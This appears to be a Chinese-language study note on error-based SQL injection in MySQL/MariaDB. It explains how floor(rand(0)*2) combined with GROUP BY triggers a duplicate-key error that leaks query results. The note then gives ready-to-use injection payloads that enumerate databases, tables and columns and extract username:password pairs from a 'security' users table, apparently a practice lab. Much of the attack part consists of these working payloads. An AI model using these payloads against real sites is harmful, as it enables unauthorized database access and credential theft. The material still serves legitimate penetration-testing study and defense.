利用groupby + rand的特性进行报错注入
rand()
rand()中可添加参数作为随机种子,一边为时间
如果种子是固定的,产生的随机数也是固定的
| 1 | select rand(0) from users; | 
floor()
向下取整
这样会使得floor(rand(0)*2)的值固定:
| 1 | MariaDB [security]> select floor(rand(0)*2) from users; | 
group by
group by 会对相同的内容进行分组,然后再进行排序:
| 1 | MariaDB [test]> select name n,score s from ScoreTable group by s; | 
count(*)能够进行计数:
例如:
| 1 | +----------+-----+ | 
此时:
| 1 | select count(*), score from ScoreTable group by score; | 
此时count(*)就是对每个分数的人计数
rand + floor + group by 注入
利用:
| 1 | select count(*) from users group by floor(rand(0)*2); | 
原理分析:
| 1 | +------------------+ | 
建表:
| key | count | 
|---|---|
此时执行floor(rand(0)*2),发现结果是0,查表发现没有0,于是再计算一次floor(rand(0)*2),然后将结果1写入表中:
| key | count | 
|---|---|
| 1 | 1 | 
然后再次计算,算得是1,此时发现有key,计数器+1,此时变成了:
| key | count | 
|---|---|
| 1 | 2 | 
然后再次计算,算得为0,发现没有数据;然后再次计算,算得为1,此时再次计算后需要插入新数值,但是key=1此时已经存在了,所以此时就会报错
payload:
| 1 | id='1' union select 1,count(*),concat(database(),"=",floor(rand(0)*2)) as x from information_schema.tables group by x #' | 
爆库:
| 1 | -1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+ | 
或者:
| 1 | ?id=1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),"~",floor(rand(0)*2)) as x group by x; | 
反正没有group_concat就用limit
爆表:
| 1 | -1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+ | 
爆列,只需将上面的table_name改为column_name
information_schema.tables改为columns
爆内容:
| 1 | 1' union select 1,count(*),concat((select concat_ws(':',username,password) from security.users limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+ | 
注意,因为该语句将输出字符长度限制为了64个字符,所以这里利用limit代替group_concat